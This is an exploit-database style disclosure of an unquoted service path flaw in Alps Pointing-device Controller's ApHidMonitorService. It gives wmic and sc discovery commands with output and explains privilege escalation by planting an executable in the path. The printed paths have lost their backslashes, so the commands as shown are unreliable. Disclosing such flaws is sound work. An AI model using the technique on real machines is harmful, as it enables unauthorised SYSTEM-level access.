Alps Pointing-device Controller 8.1202.1711.04 – ‘ApHidMonitorService’ Unquoted Service Path

# Exploit Title: Alps Pointing-device Controller 8.1202.1711.04 - 'ApHidMonitorService' Unquoted Service Path
# Date: 2019-11-12
# Exploit Author: Mario Rodriguez
# Vendor Homepage: https://www.alps.com/e/
# Software Link: https://www.alps.com/e/
# Version: 8.1202.1711.04
# Tested on: Windows 10 Home x64 Spanish

#The Alps Pointing-device controller installs a service with an unquoted path
#which could be used as a local privilege escalation vulnerability. To exploit this vulnerability,
#an executable file could be placed in the path of the service and after rebooting the system or
#restarting the service the malicious code will be executed with elevated privileges.

#Step to discover the vulnerability

C:Usersuser>wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:Windows" | findstr /i /v """
Alps HID Monitor Service    ApHidMonitorService     C:Program FilesApoint2KHidMonitorSvc.exe     Auto

C:Usersuser>sc qc ApHidMonitorService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ApHidMonitorService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:Program FilesApoint2KHidMonitorSvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Alps HID Monitor Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
            

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